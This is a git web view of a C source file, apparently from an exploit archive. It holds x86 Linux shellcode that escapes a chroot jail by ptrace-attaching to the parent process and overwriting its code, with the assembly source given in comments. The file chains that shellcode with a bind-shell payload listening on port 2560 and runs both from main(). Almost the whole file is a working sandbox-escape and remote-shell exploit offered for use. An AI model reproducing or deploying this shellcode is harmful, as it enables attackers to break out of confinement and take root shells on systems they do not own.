summaryrefslogtreecommitdiff
path: root/other/ptrace/ptracebreak.c
blob: d5e4f6b681655a6ceb183ce486723cd059b16602 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
/*
	ptrace-chrootbreak shellcode, 95 bytes
	
	Since 2.4.14 kernel, linus stopped playing dir tricks
	to leave chroot()-ed area. However, mknod() and ptrace()
	can be still used to do so.

	Algo:
	1.	Try to regain uid/euid/gid/egid = 0, for case
		that CAP_SYS_PTRACE is dropped. Also block
		all signals, because some daemons would like
		to die after SIGCHLD/SIGTRAP being received.
	2.	Try attach to parent process in hope that
		it is outside chroot(), if failed to do so,
		we should be top process, so execute final shellcode.
	3.	Get EIP of parent, and through PTRACE_POKETEXT
		overwrite .text of parent with our own copy
		at EIP location.
	4.	Detach from parent and let it run our code from
		step 1. Current process will exit().

	By that way, we'll follow execution tree, so it should
	work from any depth. Final shellcode will be executed
	in case of error (i.e. ppid == 1) from the thread at the
	top of process tree, which will be with some opportunity
	outside chroot. Whoa.

	However, this cannot be used against local execve,
	because we're losing TTY. You need to use
	some bind/connect dup()-ing shellcode.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BINDPORT 2560

/*
asm("
	.data
	.p2align 0
	.align	0
ptrace_break:
	jmp	jumpover
getdelta:

# setreuid(0, 0) & setregid(0, 0)  ... just to be sure :)
	pushl	$70
	popl	%eax
	xorl	%ebx, %ebx
	xorl	%ecx, %ecx
	int	$0x80
	mov	$71, %al
	int	$0x80

# ignore all signals, because some daemons
# tends to do some odd stuff after SIGCHLD being received
	mov	$69, %al
	dec	%ebx
	int	$0x80

# getppid
	pushl	$64
	popl	%eax
	int	$0x80
	xchg	%eax, %ecx

# try attach
	mov	$26, %al
	pushl	$0x10
	popl	%ebx
	int	$0x80

	test	%eax, %eax
	jnz	scode

waitforthing:
	pushal
	movb	$7, %al
	movl	%ecx, %ebx
	xorl	%ecx, %ecx
	pushl	$2
	popl	%edx
	int	$0x80
	popal

# get eip of parent
getregs:
	popl	%edi
	pushl	%eax
	movl	%esp, %esi
	mov	$26, %al
	mov	$3, %bl
	pushl	$12*4
	popl	%edx
	int	$0x80
	popl	%edx

# well, now do some little harm; put us
# at parent's eip :)
	.byte	0x83, 0xef		# subl	$(scode-ptrace_break), %edi
	.byte	(scode-ptrace_break)
	movb	$4, %bl
fuck_parent:
	movb	$26, %al
	movl	(%edi), %esi
	int	$0x80
	incl	%edi
	incl	%edx
	shl	$24, %esi
	jnz	fuck_parent

# detach and wake up parent
# (data - %esi is always zero)
detachthing:
	mov	$26, %al
	movb	$0x11, %bl
	int	$0x80
	inc	%eax
	int	$0x80
jumpover:
	call	getdelta
scode:
	.byte	0
");

extern	void ptrace_break();
extern	void ptrace_break_end();
extern	unsigned char wport[2];
*/

/* our ptrace-break shellcode */
unsigned char cbreak[] =
	"\xeb\x58\x6a\x46\x58\x31\xdb\xcd\x80\xb0\x47\xcd\x80\xb0\x45\x4b"
	"\xcd\x80\x6a\x40\x58\xcd\x80\x91\x6a\x1a\x58\x6a\x10\x5b\xcd\x80"
	"\x85\xc0\x75\x3b\x60\xb0\x07\x89\xcb\x31\xc9\x6a\x02\x5a\xcd\x80"
	"\x61\x5f\x50\x89\xe6\xb0\x1a\xb3\x03\x6a\x30\x5a\xcd\x80\x5a\x83"
	"\xef\x5f\xb3\x04\xb0\x1a\x8b\x37\xcd\x80\x47\x42\xc1\xe6\x18\x75"
	"\xf3\xb0\x1a\xb3\x11\xcd\x80\x40\xcd\x80\xe8\xa3\xff\xff\xff";

/* classic bindshell */
unsigned char bind[84] =
	"\x6a\x66\x58\x31\xdb\x53\x43\x53"
	"\x6a\x02\x89\xe1\xcd\x80\x43\x31"
	"\xc9\x51\xb5\x0a\x0f\xc9\x09\xd9" /* 0x0a * 256 = port 2560 */
	"\x51\x89\xe6\x6a\x10\x56\x50\x6a"
	"\x66\x58\x89\xe1\xcd\x80\xb0\x66"
	"\x43\x43\xcd\x80\x89\x64\x24\x08"
	"\xb0\x66\x43\xcd\x80\x93\x91\x6a"
	"\x3f\x58\xcd\x80\x49\x79\xf8\x50"
	"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
	"\x62\x69\x89\xe3\x50\x53\x89\xe1"
	"\xb0\x0b\xcd\x80";


int	main()
{
	char	buf[512];
	void		(*breakchroot)() = (void *) buf;

	/* setup port to bind */
	bind[19] = BINDPORT / 256;

	/* build resulting code */
	sprintf(buf, "%s%s", cbreak, bind);
	
	printf(	"chroot break code length ... %d\n"
		"portshell code length ...... %d\n"
		"total shellcode length ..... %d\n",
		strlen(cbreak), strlen(bind), strlen(buf));

	printf(	"\nNow, we'll execute shellcode\n"
		"Note that your current tty/remote session will\n"
		"be lost.\n"
		"Portshell will be at port %d\n"
		"Hit enter to continue, ^C to break\n", BINDPORT & ~0xff);

	getchar();
	breakchroot();

	/* NOT REACHED */
	return 0;
}